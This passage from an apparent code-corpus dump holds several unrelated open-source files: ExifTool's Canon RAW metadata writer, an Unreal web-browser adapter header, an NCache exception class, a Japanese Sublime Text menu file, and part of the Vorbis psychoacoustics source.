$tagID (keys %$newTags) {\n my $permanent = $newTags->{$tagID}->{Permanent};\n push(@addTags, $tagID) if defined($permanent) and not $permanent;\n }\n }\n\n my $index;\n for ($index=0; ; ++$index) {\n my ($pt, $tag, $size, $valuePtr, $ptr, $value);\n if ($index<$entries) {\n $pt = 10 * $index;\n $tag = Get16u(\\$buff, $pt);\n $size = Get32u(\\$buff, $pt+2);\n $valuePtr = Get32u(\\$buff, $pt+6);\n $ptr = $valuePtr + $blockStart; # all pointers relative to block start\n }\n # add any required new tags\n # NOTE: can't currently add tags where value is stored in directory\n if (@addTags and (not defined($tag) or $tag >= $addTags[0])) {\n my $addTag = shift @addTags;\n $tagInfo = $$newTags{$addTag};\n my $newVal = $et->GetNewValues($tagInfo);\n if (defined $newVal) {\n # pad value to an even length (Canon ImageBrowser and ZoomBrowser\n # version 6.1.1 have problems with odd-sized embedded JPEG images\n # even if the value is padded to maintain alignment, so do this\n # before calculating the size for the directory entry)\n $newVal .= \"\\0\" if length($newVal) & 0x01;\n # add new directory entry\n $newDir .= Set16u($addTag) . Set32u(length($newVal)) .\n Set32u($outPos - $outBase);\n # write new value data\n Write($outfile, $newVal) or return 0;\n $outPos += length($newVal); # update current position\n $verbose > 1 and print $out \" + CanonRaw:$$tagInfo{Name}\\n\";\n ++$$et{CHANGED};\n }\n # set flag to delete this tag if found later\n $delTag{$addTag} = 1;\n }\n last unless defined $tag; # all done if no more directory entries\n return 0 if $tag & 0x8000; # top bit should not be set\n my $tagID = $tag & 0x3fff; # get tag ID\n my $tagType = ($tag >> 8) & 0x38; # get tag type\n my $valueInDir = ($tag & 0x4000); # flag for value in directory\n\n my $tagInfo = $et->GetTagInfo($tagTablePtr,$tagID);\n my $format = $crwTagFormat{$tagType};\n my ($count, $subdir);\n if ($tagInfo) {\n $subdir = $$tagInfo{SubDirectory};\n $format = $$tagInfo{Format} if $$tagInfo{Format};\n $count = $$tagInfo{Count};\n }\n if ($valueInDir) {\n $size = 8;\n $value = substr($buff, $pt+2, $size);\n # set count to 1 by default for normal values in directory\n $count = 1 if not defined $count and $format and\n $format ne 'string' and not $subdir;\n } else {\n if ($tagType==0x28 or $tagType==0x30) {\n # this type of tag specifies a raw subdirectory\n my $name;\n $tagInfo and $name = $$tagInfo{Name};\n $name or $name = sprintf(\"CanonRaw_0x%.4x\", $tagID);\n my %subdirInfo = (\n DirName => $name,\n DataLen => 0,\n DirStart => $ptr,\n DirLen => $size,\n Nesting => $$dirInfo{Nesting} + 1,\n RAF => $raf,\n Parent => $$dirInfo{DirName},\n OutFile => $outfile,\n OutPos => $outPos,\n );\n my $result = $et->WriteDirectory(\\%subdirInfo, $tagTablePtr);\n return 0 unless $result;\n # set size and pointer for this new directory\n $size = $subdirInfo{OutPos} - $outPos;\n $valuePtr = $outPos - $outBase;\n $outPos = $subdirInfo{OutPos};\n } else {\n # verify that the value data is within this block\n $valuePtr + $size <= $blockSize or return 0;\n # read value from file\n $raf->Seek($ptr, 0) or return 0;\n $raf->Read($value, $size) == $size or return 0;\n }\n }\n # set count from tagInfo count if necessary\n if ($format and not $count) {\n # set count according to format and size\n my $fnum = $Image::ExifTool::Exif::formatNumber{$format};\n my $fsiz = $Image::ExifTool::Exif::formatSize[$fnum];\n $count = int($size / $fsiz);\n }\n # edit subdirectory if necessary\n if ($tagInfo) {\n if ($subdir and $$subdir{TagTable}) {\n my $name = $$tagInfo{Name};\n my $newTagTable = Image::ExifTool::GetTagTable($$subdir{TagTable});\n return 0 unless $newTagTable;\n my $subdirStart = 0;\n #### eval Start ()\n $subdirStart = eval $$subdir{Start} if $$subdir{Start};\n my $dirData = \\$value;\n my %subdirInfo = (\n Name => $name,\n DataPt => $dirData,\n DataLen => $size,\n DirStart => $subdirStart,\n DirLen => $size - $subdirStart,\n Nesting => $$dirInfo{Nesting} + 1,\n RAF => $raf,\n Parent => $$dirInfo{DirName},\n );\n #### eval Validate ($dirData, $subdirStart, $size)\n if (defined $$subdir{Validate} and not eval $$subdir{Validate}) {\n $et->Warn(\"Invalid $name data\");\n } else {\n $subdir = $et->WriteDirectory(\\%subdirInfo, $newTagTable);\n if (defined $subdir and length $subdir) {\n if ($subdirStart) {\n # add header before data directory\n $value = substr($value, 0, $subdirStart) . $subdir;\n } else {\n $value = $subdir;\n }\n }\n }\n } elsif ($$newTags{$tagID}) {\n if ($delTag{$tagID}) {\n $verbose > 1 and print $out \" - CanonRaw:$$tagInfo{Name}\\n\";\n ++$$et{CHANGED};\n next; # next since we already added this tag\n }\n my $oldVal;\n if ($format) {\n $oldVal = ReadValue(\\$value, 0, $format, $count, $size);\n } else {\n $oldVal = $value;\n }\n my $nvHash = $et->GetNewValueHash($tagInfo);\n if ($et->IsOverwriting($nvHash, $oldVal)) {\n my $newVal = $et->GetNewValues($nvHash);\n my $verboseVal;\n $verboseVal = $newVal if $verbose > 1;\n # convert to specified format if necessary\n if (defined $newVal and $format) {\n $newVal = WriteValue($newVal, $format, $count);\n }\n if (defined $newVal) {\n $value = $newVal;\n ++$$et{CHANGED};\n $et->VerboseValue(\"- CanonRaw:$$tagInfo{Name}\", $oldVal);\n $et->VerboseValue(\"+ CanonRaw:$$tagInfo{Name}\", $verboseVal);\n }\n }\n }\n }\n if ($valueInDir) {\n my $len = length $value;\n if ($len < 8) {\n # pad with original garbage in case it contained something useful\n $value .= substr($buff, $pt+2+8-$len, 8-$len);\n } elsif ($len > 8) { # this shouldn't happen\n warn \"Value too long! -- trucated\\n\";\n $value = substr($value, 0, 8);\n }\n # create new directory entry\n $newDir .= Set16u($tag) . $value;\n next; # all done this entry\n }\n if (defined $value) {\n # don't allow value to change length unless Writable is 'resize'\n my $writable = $$tagInfo{Writable};\n my $diff = length($value) - $size;\n if ($diff) {\n if ($writable and $writable eq 'resize') {\n $size += $diff; # allow size to change\n } elsif ($diff > 0) {\n $value .= (\"\\0\" x $diff);\n } else {\n $value = substr($value, 0, $size);\n }\n }\n # pad value if necessary to align on even-byte boundary (as per CIFF spec)\n $value .= \"\\0\" if $size & 0x01;\n $valuePtr = $outPos - $outBase;\n # write out value data\n Write($outfile, $value) or return 0;\n $outPos += length($value); # update current position in outfile\n }\n # create new directory entry\n $newDir .= Set16u($tag) . Set32u($size) . Set32u($valuePtr);\n }\n # add the directory counts and offset to the directory start,\n $entries = length($newDir) / 10;\n $newDir = Set16u($entries) . $newDir . Set32u($outPos - $outBase);\n # write directory data\n Write($outfile, $newDir) or return 0;\n\n # update current output file position in dirInfo\n $$dirInfo{OutPos} = $outPos + length($newDir);\n # save outfile directory start (needed for rewriting VRD trailer)\n $$dirInfo{OutDirStart} = $outPos - $outBase;\n\n return 1;\n}\n\n#------------------------------------------------------------------------------\n# write Canon RAW (CRW) file\n# Inputs: 0) ExifTool object reference, 1) dirInfo reference\n# Returns: 1 on success, 0 if this wasn't a valid CRW file,\n# or -1 if a write error occurred\nsub WriteCRW($$)\n{\n my ($et, $dirInfo) = @_;\n my $outfile = $$dirInfo{OutFile};\n my $raf = $$dirInfo{RAF};\n my $rtnVal = 0;\n my ($buff, $err, $sig);\n\n $raf->Read($buff,2) == 2 or return 0;\n SetByteOrder($buff) or return 0;\n $raf->Read($buff,4) == 4 or return 0;\n $raf->Read($sig,8) == 8 or return 0; # get file signature\n $sig =~ /^HEAP(CCDR|JPGM)/ or return 0; # validate signature\n my $type = $1;\n my $hlen = Get32u(\\$buff, 0); # get header length\n\n if ($$et{DEL_GROUP}{MakerNotes}) {\n if ($type eq 'CCDR') {\n $et->Error(\"Can't delete MakerNotes group in CRW file\");\n return 0;\n } else {\n ++$$et{CHANGED};\n return 1;\n }\n }\n # make XMP the preferred group for CRW files\n if ($$et{FILE_TYPE} eq 'CRW') {\n $et->InitWriteDirs(\\%crwMap, 'XMP');\n }\n\n # write header\n $raf->Seek(0, 0) or return 0;\n $raf->Read($buff, $hlen) == $hlen or return 0;\n Write($outfile, $buff) or $err = 1;\n\n $raf->Seek(0, 2) or return 0; # seek to end of file\n my $filesize = $raf->Tell() or return 0;\n\n # build directory information for main raw directory\n my %dirInfo = (\n DataLen => 0,\n DirStart => $hlen,\n DirLen => $filesize - $hlen,\n Nesting => 0,\n RAF => $raf,\n Parent => 'CRW',\n OutFile => $outfile,\n OutPos => $hlen,\n );\n # process the raw directory\n my $tagTablePtr = Image::ExifTool::GetTagTable('Image::ExifTool::CanonRaw::Main');\n my $success = $et->WriteDirectory(\\%dirInfo, $tagTablePtr);\n\n my $trailPt;\n while ($success) {\n # check to see if trailer(s) exist(s)\n my $trailInfo = Image::ExifTool::IdentifyTrailer($raf) or last;\n # rewrite the trailer(s)\n $buff = '';\n $$trailInfo{OutFile} = \\$buff;\n $success = $et->ProcessTrailers($trailInfo) or last;\n $trailPt = $$trailInfo{OutFile};\n # nothing to write if trailers were deleted\n undef $trailPt if length($$trailPt) < 4;\n last;\n }\n if ($success) {\n # add CanonVRD trailer if writing as a block\n $trailPt = $et->AddNewTrailers($trailPt,'CanonVRD');\n if (not $trailPt and $$et{ADD_DIRS}{CanonVRD}) {\n # create CanonVRD from scratch if necessary\n my $outbuff = '';\n my $saveOrder = GetByteOrder();\n require Image::ExifTool::CanonVRD;\n if (Image::ExifTool::CanonVRD::ProcessCanonVRD($et, { OutFile => \\$outbuff }) > 0) {\n $trailPt = \\$outbuff;\n }\n SetByteOrder($saveOrder);\n }\n # write trailer\n if ($trailPt) {\n # must append DirStart pointer to end of trailer\n my $newDirStart = Set32u($dirInfo{OutDirStart});\n my $len = length $$trailPt;\n my $pad = ($len & 0x01) ? ' ' : ''; # add pad byte if necessary\n Write($outfile, $pad, substr($$trailPt,0,$len-4), $newDirStart) or $err = 1;\n }\n $rtnVal = $err ? -1 : 1;\n } else {\n $et->Error('Error rewriting CRW file');\n }\n return $rtnVal;\n}\n\n1; # end\n\n__END__\n\n=head1 NAME\n\nImage::ExifTool::WriteCanonRaw.pl - Write Canon RAW (CRW and CR2) information\n\n=head1 SYNOPSIS\n\nThese routines are autoloaded by Image::ExifTool::CanonRaw.\n\n=head1 DESCRIPTION\n\nThis file contains routines used by ExifTool to write Canon CRW and CR2\nfiles and metadata.\n\n=head1 NOTES\n\nThe CRW format is a pleasure to work with. All pointer offsets are relative\nto the start of the data for each directory. If TIFF/EXIF had implemented\npointers in this way, it would be MUCH easier to read and write TIFF/JPEG\nfiles, and would lead to far fewer problems with corrupted metadata.\n\n=head1 AUTHOR\n\nCopyright 2003-2015, Phil Harvey (phil at owl.phy.queensu.ca)\n\nThis library is free software; you can redistribute it and/or modify it\nunder the same terms as Perl itself.\n\n=head1 SEE ALSO\n\nL<Image::ExifTool::CanonRaw(3pm)|Image::ExifTool::CanonRaw>,\nL<Image::ExifTool(3pm)|Image::ExifTool>,\nL<http://owl.phy.queensu.ca/~phil/exiftool/canon_raw.html>\n\n=cut\n"} {"text": "// Copyright 1998-2017 Epic Games, Inc. All Rights Reserved.\n#pragma once\n\n#include \"CoreMinimal.h\"\n#include \"IWebBrowserWindow.h\"\n\nclass IWebBrowserAdapter\n{\npublic:\n\n\tvirtual FString GetName() const = 0;\n\n\tvirtual bool IsPermanent() const = 0;\n\n\tvirtual void ConnectTo(const TSharedRef<IWebBrowserWindow>& BrowserWindow) = 0;\n\n\tvirtual void DisconnectFrom(const TSharedRef<IWebBrowserWindow>& BrowserWindow) = 0;\n\n};\n\nclass WEBBROWSER_API FWebBrowserAdapterFactory \n{ \npublic: \n\n\tstatic TSharedRef<IWebBrowserAdapter> Create(const FString& Name, UObject* JSBridge, bool IsPermanent); \n\n\tstatic TSharedRef<IWebBrowserAdapter> Create(const FString& Name, UObject* JSBridge, bool IsPermanent, const FString& ConnectScriptText, const FString& DisconnectScriptText);\n}; \n"} {"text": "// Copyright (c) 2019 Alachisoft\n// \n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n// \n// http://www.apache.org/licenses/LICENSE-2.0\n// \n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License\nusing System;\nusing System.Collections.Generic;\nusing System.Runtime.Serialization;\nusing System.Security.Permissions;\nusing System.Text;\n\nnamespace Alachisoft.NCache.Runtime.Exceptions\n{\n\n /// <summary>\n /// This exception is thrown whenever the configurations of two nodes of the same cache contradict with each other.\n /// </summary>\n public class VersionException :CacheException\n {\n\t\t/// <summary>\n\t\t/// Overloaded constructor that takes the errorcode as an argument.\n\t\t/// </summary>\n\t\t/// <param name=\"errorCode\">ErrorCode for the Exception</param>\n\t\t\n\t\tpublic VersionException(int errorCode) {\n errorCode = errorCode;\n }\n\n /// <summary> \n /// Overloaded constructor, takes the reason as parameter. \n /// </summary>\n public VersionException(string reason ,int errorCode)\n : base(reason)\n {\n ErrorCode = errorCode;\n }\n /// <summary>\n /// Overloaded Constructor\n /// </summary>\n /// <param name=\"reason\">Exception message</param>\n /// <param name=\"errorCode\">assigned errorcode</param>\n /// <param name=\"stackTrace\">stacktrace</param>\n public VersionException(string reason, int errorCode,string stackTrace)\n : base(errorCode,reason,stackTrace)\n {\n ErrorCode = errorCode;\n }\n /// <summary>\n /// overloaded constructor. \n /// </summary>\n /// <param name=\"reason\">reason for exception</param>\n /// <param name=\"inner\">nested exception</param>\n public VersionException(string reason, int errorCode, Exception inner)\n : base(reason, inner)\n {\n ErrorCode = errorCode;\n }\n\n #region / --- ISerializable --- /\n /// <summary>\n /// Initializes a new instance of the System.Exception class with a specified error\n /// message and a reference to the inner exception that is the cause of this exception.\n /// </summary>\n /// <param name=\"info\"></param>\n /// <param name=\"context\"></param>\n public VersionException(SerializationInfo info, StreamingContext context)\n : base(info, context)\n {\n }\n\n /// <summary>\n /// Manual serialization\n /// </summary>\n /// <param name=\"info\"></param>\n /// <param name=\"context\"></param>\n [SecurityPermission(SecurityAction.Demand, SerializationFormatter = true)]\n public override void GetObjectData(SerializationInfo info, StreamingContext context)\n {\n base.GetObjectData(info, context);\n }\n\n #endregion\n }\n}\n\n"} {"text": "[\r\n { \"caption\": \"新規作成\", \"command\": \"new_file_at\", \"args\": {\"dirs\": []} },\r\n { \"caption\": \"名前変更…\", \"command\": \"rename_path\", \"args\": {\"paths\": []} },\r\n { \"caption\": \"削除\", \"command\": \"delete_file\", \"args\": {\"files\": []} },\r\n { \"caption\": \"ファイルのあるフォルダを開く…\", \"command\": \"open_containing_folder\", \"args\": {\"files\": []} },\r\n { \"caption\": \"-\", \"id\": \"folder_commands\" },\r\n { \"caption\": \"フォルダの新規作成…\", \"command\": \"new_folder\", \"args\": {\"dirs\": []} },\r\n { \"caption\": \"削除\", \"command\": \"delete_folder\", \"args\": {\"dirs\": []} },\r\n { \"caption\": \"検索…\", \"command\": \"find_in_folder\", \"args\": {\"dirs\": []} },\r\n { \"caption\": \"-\", \"id\": \"end\" }\r\n]\r\n"} {"text": "/********************************************************************\r\n * *\r\n * THIS FILE IS PART OF THE OggVorbis SOFTWARE CODEC SOURCE CODE. *\r\n * USE, DISTRIBUTION AND REPRODUCTION OF THIS LIBRARY SOURCE IS *\r\n * GOVERNED BY A BSD-STYLE SOURCE LICENSE INCLUDED WITH THIS SOURCE *\r\n * IN 'COPYING'. PLEASE READ THESE TERMS BEFORE DISTRIBUTING. *\r\n * *\r\n * THE OggVorbis SOURCE CODE IS (C) COPYRIGHT 1994-2010 *\r\n * by the Xiph.Org Foundation http://www.xiph.org/ *\r\n * *\r\n ********************************************************************\r\n\r\n function: psychoacoustics not including preecho\r\n last mod: $Id: psy.c 17569 2010-10-26 17:09:47Z xiphmont $\r\n\r\n ********************************************************************/\r\n\r\n#include <stdlib.h>\r\n#include <math.h>\r\n#include <string.h>\r\n#include \"../../codec.h\"\r\n#include \"codec_internal.h\"\r\n\r\n#include \"masking.h\"\r\n#include \"psy.h\"\r\n#include \"os.h\"\r\n#include \"lpc.h\"\r\n#include \"smallft.h\"\r\n#include \"scales.h\"\r\n#include \"misc.h\"\r\n\r\n#define NEGINF -9999.f\r\nstatic const double stereo_threshholds[]={0.0, .5, 1.0, 1.5, 2.5, 4.5, 8.5, 16.5, 9e10};\r\nstatic const double stereo_threshholds_limited[]={0.0, .5, 1.0, 1.5, 2.0, 2.5, 4.5, 8.5, 9e10};\r\n\r\nvorbis_look_psy_global *_vp_global_look(vorbis_info *vi){\r\n codec_setup_info *ci=(codec_setup_info*)vi->codec_setup;\r\n vorbis_info_psy_global *gi=&ci->psy_g_param;\r\n vorbis_look_psy_global *look=(vorbis_look_psy_global*)_ogg_calloc(1,sizeof(*look));\r\n\r\n look->channels=vi->channels;\r\n\r\n look->ampmax=-9999.;\r\n look->gi=gi;\r\n return(look);\r\n}\r\n\r\nvoid _vp_global_free(vorbis_look_psy_global *look){\r\n if(look){\r\n memset(look,0,sizeof(*look));\r\n _ogg_free(look);\r\n }\r\n}\r\n\r\nstatic inline void _vi_gpsy_free(vorbis_info_psy_global *i){\r\n if(i){\r\n memset(i,0,sizeof(*i));\r\n _ogg_free(i);\r\n }\r\n}\r\n\r\nvoid _vi_psy_free(vorbis_info_psy *i){\r\n if(i){\r\n memset(i,0,sizeof(*i));\r\n _ogg_free(i);\r\n }\r\n}\r\n\r\nstatic void min_curve(float *c,\r\n float *c2){\r\n int i;\r\n for(i=0;i<EHMER_MAX;i++)if(c2[i]<c[i])c[i]=c2[i];\r\n}\r\nstatic void max_curve(float *c,\r\n float *c2){\r\n int i;\r\n for(i=0;i<EHMER_MAX;i++)if(c2[i]>c[i])c[i]=c2[i];\r\n}\r\n\r\nstatic void attenuate_curve(float *c,float att){\r\n int i;\r\n for(i=0;i<EHMER_MAX;i++)\r\n c[i]+=att;\r\n}\r\n\r\nstatic float ***setup_tone_curves(float curveatt_dB[P_BANDS],float binHz,int n,\r\n float center_boost, float center_decay_rate){\r\n int i,j,k,m;\r\n float ath[EHMER_MAX];\r\n float workc[P_BANDS][P_LEVELS][EHMER_MAX];\r\n float athc[P_LEVELS][EHMER_MAX];\r\n float *brute_buffer=(float*) alloca(n*sizeof(*brute_buffer));\r\n\r\n float ***ret=(float***) _ogg_malloc(sizeof(*ret)*P_BANDS);\r\n\r\n memset(workc,0,sizeof(workc));\r\n\r\n for(i=0;i<P_BANDS;i++){\r\n /* we add back in the ATH to avoid low level curves falling off to\r\n -infinity and unnecessarily cutting off high level curves in the\r\n curve limiting (last step). */\r\n\r\n /* A half-band's settings must be valid over the whole band, and\r\n it's better to mask too little than too much */\r\n int ath_offset=i*4;\r\n for(j=0;j<EHMER_MAX;j++){\r\n float min=999.;\r\n for(k=0;k<4;k++)\r\n if(j+k+ath_offset<MAX_ATH){\r\n if(min>ATH[j+k+ath_offset])min=ATH[j+k+ath_offset];\r\n }else{\r\n if(min>ATH[MAX_ATH-1])min=ATH[MAX_ATH-1];\r\n }\r\n ath[j]=min;\r\n }\r\n\r\n /* copy curves into working space, replicate the 50dB curve to 30\r\n and 40, replicate the 100dB curve to 110 */\r\n for(j=0;j<6;j++)\r\n memcpy(workc[i][j+2],tonemasks[i][j],EHMER_MAX*sizeof(*tonemasks[i][j]));\r\n memcpy(workc[i][0],tonemasks[i][0],EHMER_MAX*sizeof(*tonemasks[i][0]));\r\n memcpy(workc[i][1],tonemasks[i][0],EHMER_MAX*sizeof(*tonemasks[i][0]));\r\n\r\n /* apply centered curve boost/decay */\r\n for(j=0;j<P_LEVELS;j++){\r\n for(k=0;k<EHMER_MAX;k++){\r\n float adj=center_boost+abs(EHMER_OFFSET-k)*center_decay_rate;\r\n if(adj<0. && center_boost>0)adj=0.;\r\n if(adj>0. && center_boost<0)adj=0.;\r\n workc[i][j][k]+=adj;\r\n }\r\n }\r\n\r\n /* normalize curves so the driving amplitude is 0dB */\r\n /* make temp curves with the ATH overlayed */\r\n for(j=0;j<P_LEVELS;j++){\r\n attenuate_curve(workc[i][j],curveatt_dB[i]+100.-(j<2?2:j)*10.-P_LEVEL_0);\r\n memcpy(athc[j],ath,EHMER_MAX*sizeof(**athc));\r\n attenuate_curve(athc[j],+100.-j*10.f-P_LEVEL_0);\r\n max_curve(athc[j],workc[i][j]);\r\n }\r\n\r\n /* Now limit the louder curves.\r\n\r\n the idea is this: We don't know what the playback attenuation\r\n will be; 0dB SL moves every time the user twiddles the volume\r\n knob. So that means we have to use a single 'most pessimal' curve\r\n for all masking amplitudes, right? Wrong. The *loudest* sound\r\n can be in (we assume) a range of ...+100dB] SL. However, sounds\r\n 20dB down will be in a range ...+80], 40dB down is from ...+60],\r\n etc... */\r\n\r\n for(j=1;j<P_LEVELS;j++){\r\n min_curve(athc[j],athc[j-1]);\r\n min_curve(workc[i][j],athc[j]);\r\n }\r\n }\r\n\r\n for(i=0;i<P_BANDS;i++){\r\n int hi_curve,lo_curve,bin;\r\n ret[i]=(float**)_ogg_malloc(sizeof(**ret)*P_LEVELS);\r\n\r\n /* low frequency curves are measured with greater resolution than\r\n the MDCT/FFT will actually give us; we want the curve applied\r\n to the tone data to be pessimistic and thus apply the minimum\r\n masking possible for a given bin. That means that a single bin\r\n could span more than one octave and that the curve will be a\r\n composite of multiple octaves. It also may mean that a single\r\n bin may span > an eighth of an octave and that the eighth\r\n octave values may also be composited. */\r\n\r\n /* which octave curves will we be compositing? */\r\n bin=floor(fromOC(i*.5)/binHz);\r\n lo_curve= ceil(toOC(bin*binHz+1)*2);\r\n hi_curve= floor(toOC((bin+1)*binHz)*2);\r\n if(lo_curve>i)lo_curve=i;\r\n if(lo_curve<0)lo_curve=0;\r\n if(hi_curve>=P_BANDS)hi_curve=P_BANDS-1;\r\n\r\n for(m=0;m<P_LEVELS;m++){\r\n ret[i][m]=(float*)_ogg_malloc(sizeof(***ret)*(EHMER_MAX+2));\r\n\r\n for(j=0;j<n;j++)brute_buffer[j]=999.;\r\n\r\n /* render the curve into bins, then pull values back into curve.\r\n The point is that any inherent subsampling aliasing results in\r\n a safe minimum */\r\n for(k=lo_curve;k<=hi_curve;k++){\r\n int l=0;\r\n\r\n for(j=0;j<EHMER_MAX;j++){\r\n int lo_bin= fromOC(j*.125+k*.5-2.0625)/binHz;\r\n int hi_bin= fromOC(j*.125+k*.5-1.9375)/binHz+1;\r\n\r\n if(lo_bin<0)lo_bin=0;\r\n if(lo_bin>n)lo_bin=n;\r\n if(lo_bin<l)l=lo_bin;\r\n if(hi_bin<0)hi_bin=0;\r\n if(hi_bin>n)hi_bin=n;\r\n\r\n for(;l<hi_bin && l<n;l++)\r\n if(brute_buffer[l]>workc[k][m][j])\r\n brute_buffer[l]=workc[k][m][j];\r\n }\r\n\r\n for(;l<n;l++)\r\n if(brute_buffer[l]>workc[k][m][EHMER_MAX-1])\r\n brute_buffer[l]=workc[k][m][EHMER_MAX-1];\r\n\r\n }\r\n\r\n /* be equally paranoid about being valid up to next half ocatve */\r\n if(i+1<P_BANDS){\r\n int l=0;\r\n k=i+1;\r\n for(j=0;j<EHMER_MAX;j++){\r\n int lo_bin= fromOC(j*.125+i*.5-2.0625)/binHz;\r\n int hi_bin= fromOC(j*.125+i*.5-1.9375)/binHz+1;\r\n\r\n if(lo_bin<0)lo_bin=0;\r\n if(lo_bin>n)lo_bin=n;\r\n if(lo_bin<l)l=lo_bin;\r\n if(hi_bin<0)hi_bin=0;\r\n if(hi_bin>n)hi_bin=n;\r\n\r\n for(;l<hi_bin && l<n;l++)\r\n if(brute_buffer[l]>workc[k][m][j])\r\n brute_buffer[l]=workc[k][m][j];\r\n }\r\n\r\n for(;l<n;l++)\r\n if(brute_buffer[l]>workc[k][m][EHMER_MAX-1])\r\n brute_buffer[l]=workc[k][m][EHMER_MAX-1];\r\n\r\n }\r\n\r\n\r\n for(j=0;j<EHMER_MAX;j++){\r\n int bin=fromOC(j*.125+i*.5-2.)/binHz;\r\n if(bin<0){\r\n ret[i][m][j+2]=-999.;\r\n }else{\r\n if(bin>=n){\r\n ret[i][m][j+2]=-999.;\r\n }else{\r\n ret[i][m][j+2]=brute_buffer[bin];\r\n }\r\n }\r\n }\r\n\r\n /* add fenceposts */\r\n for(j=0;j<EHMER_OFFSET;j++)\r\n if(ret[i][m][j+2]>-200.f)break;\r\n ret[i][m][0]=j;\r\n\r\n for(j=EHMER_MAX-1;j>EHMER_OFFSET+1;j--)\r\n if(ret[i][m][j+2]>-200.f)\r\n break;\r\n ret[i][m][1]=j;\r\n\r\n }\r\n }\r\n\r\n return(ret);\r\n}\r\n\r\nvoid _vp_psy_init(vorbis_look_psy *p,vorbis_info_psy *vi,\r\n vorbis_info_psy_global *gi,int n,long rate){\r\n long i,j,lo=-99,hi=1;\r\n long maxoc;\r\n memset(p,0,sizeof(*p));\r\n\r\n p->eighth_octave_lines=gi->eighth_octave_lines;\r\n p->shiftoc=rint(log(gi->eighth_octave_lines*8.f)/log(2.f))-1;\r\n\r\n p->firstoc=toOC(.25f*rate*.5/n)*(1<<(p->shiftoc+1))-gi->eighth_octave_lines;\r\n maxoc=toOC((n+.25f)*rate*.5/n)*(1<<(p->shiftoc+1))+.5f;\r\n p->total_octave_lines=maxoc-p->firstoc+1;\r\n p->ath=(float*)_ogg_malloc(n*sizeof(*p->ath));\r\n\r\n p->octave=(long*)_ogg_malloc(n*sizeof(*p->octave));\r\n p->bark=(long*)_ogg_malloc(n*sizeof(*p->bark));\r\n p->vi=vi;\r\n p->n=n;\r\n p->rate=rate;\r\n\r\n /* AoTuV HF weighting */\r\n p->m_val = 1.;\r\n if(rate < 26000) p->m_val = 0;\r\n else if(rate < 38000) p->m_val = .94; /* 32kHz */\r\n else if(rate > 46000) p->m_val = 1.275; /* 48kHz */\r\n\r\n /* set up the lookups for a given blocksize and sample rate */\r\n\r\n for(i=0,j=0;i<MAX_ATH-1;i++){\r\n int endpos=rint(fromOC((i+1)*.125-2.)*2*n/rate);\r\n float base=ATH[i];\r\n if(j<endpos){\r\n float delta=(ATH[i+1]-base)/(endpos-j);\r\n for(;j<endpos && j<n;j++){\r\n p->ath[j]=base+100.;\r\n base+=delta;\r\n }\r\n }\r\n }\r\n\r\n for(;j<n;j++){\r\n p->ath[j]=p->ath[j-1];\r\n }\r\n\r\n for(i=0;i<n;i++){\r\n float bark=toBARK(rate/(2*n)*i);\r\n\r\n for(;lo+vi->noisewindowlomin<i &&\r\n toBARK(rate/(2*n)*lo)<(bark-vi->noisewindowlo);lo++);\r\n\r\n for(;hi<=n && (hi<i+vi->noisewindowhimin ||\r\n toBARK(rate/(2*n)*hi)<(bark+vi->noisewindowhi));hi++);\r\n\r\n p->bark[i]=((lo-1)<<16)+(hi-1);\r\n\r\n }\r\n\r\n for(i=0;i<n;i++)\r\n p->octave[i]=toOC((i+.25f)*.5*rate/n)*(1<<(p->shiftoc+1))+.5f;\r\n\r\n p->tonecurves=setup_tone_curves(vi->toneatt,rate*.5/n,n,\r\n vi->tone_centerboost,vi->tone_decay);\r\n\r\n /* set up rolling noise median */\r\n p->noiseoffset=(float**)_ogg_malloc(P_NOISECURVES*sizeof(*p->noiseoffset));\r\n for(i=0;i<P_NOISECURVES;i++)\r\n p->noiseoffset[i]=(float*)_ogg_malloc(n*sizeof(**p->noiseoffset));\r\n\r\n for(i=0;i<n;i++){\r\n float halfoc=toOC((i+.5)*rate/(2.*n))*2.;\r\n int inthalfoc;\r\n float del;\r\n\r\n if(halfoc<0)halfoc=0;\r\n if(halfoc>=P_BANDS-1)halfoc=P_BANDS-1;\r\n inthalfoc=(int)halfoc;\r\n del=halfoc-inthalfoc;\r\n\r\n for(j=0;j<P_NOISECURVES;j++)\r\n p->noiseoffset[j][i]=\r\n p->vi->noiseoff[j][inthalfoc]*(1.-del) +\r\n p->vi->noiseoff[j][inthalfoc+1]*del;\r\n\r\n }\r\n#if 0\r\n {\r\n static int ls=0;\r\n _analysis_output_always(\"noiseoff0\",ls,p->noiseoffset[0],n,1,0,0);\r\n _analysis_output_always(\"noiseoff1\",ls,p->noiseoffset[1],n,1,0,0);\r\n _analysis_output_always(\"noiseoff2\",ls++,p->noiseoffset[2],n,1,0,0);\r\n }\r\n#endif\r\n}\r\n\r\nvoid _vp_psy_clear(vorbis_look_psy *p){\r\n int i,j;\r\n if(p){\r\n if(p->ath)_ogg_free(p->ath);\r\n if(p->octave)_ogg_free(p->octave);\r\n if(p->bark)_ogg_free(p->bark);\r\n if(p->tonecurves){\r\n for(i=0;i<P_BANDS;i++){\r\n for(j=0;j<P_LEVELS;j++){\r\n _ogg_free(p->tonecurves[i][j]);\r\n }\r\n _ogg_free(p->tonecurves[i]);\r\n }\r\n _ogg_free(p->tonecurves);\r\n }\r\n if(p->noiseoffset){\r\n for(i=0;i<P_NOISECURVES;i++){\r\n _ogg_free(p->noiseoffset[i]);\r\n }\r\n _ogg_free(p->noiseoffset);\r\n }\r\n memset(p,0,sizeof(*p));\r\n }\r\n}\r\n\r\n/* octave/(8*eighth_octave_lines) x scale and dB y scale */\r\nstatic void seed_curve(float *seed,\r\n const float **curves,\r\n float amp,\r\n int oc, int n,\r\n int linesper,float dBoffset){\r\n int i,post1;\r\n int seedptr;\r\n const float *posts,*curve;\r\n\r\n int choice=(int)((amp+dBoffset-P_LEVEL_0)*.1f);\r\n choice=max(choice,0);\r\n choice=min(choice,P_LEVELS-1);\r\n posts=curves[choice];\r\n curve=posts+2;\r\n post1=(int)posts[1];\r\n seedptr=oc+(posts[0]-EHMER_OFFSET)*linesper-(linesper>>1);\r\n\r\n for(i=posts[0];i<post1;i++){\r\n if(seedptr>0){\r\n float lin=amp+curve[i];\r\n if(seed[seedptr]<lin)seed[seedptr]=lin;\r\n }\r\n seedptr+=linesper;\r\n if(seedptr>=n)break;\r\n 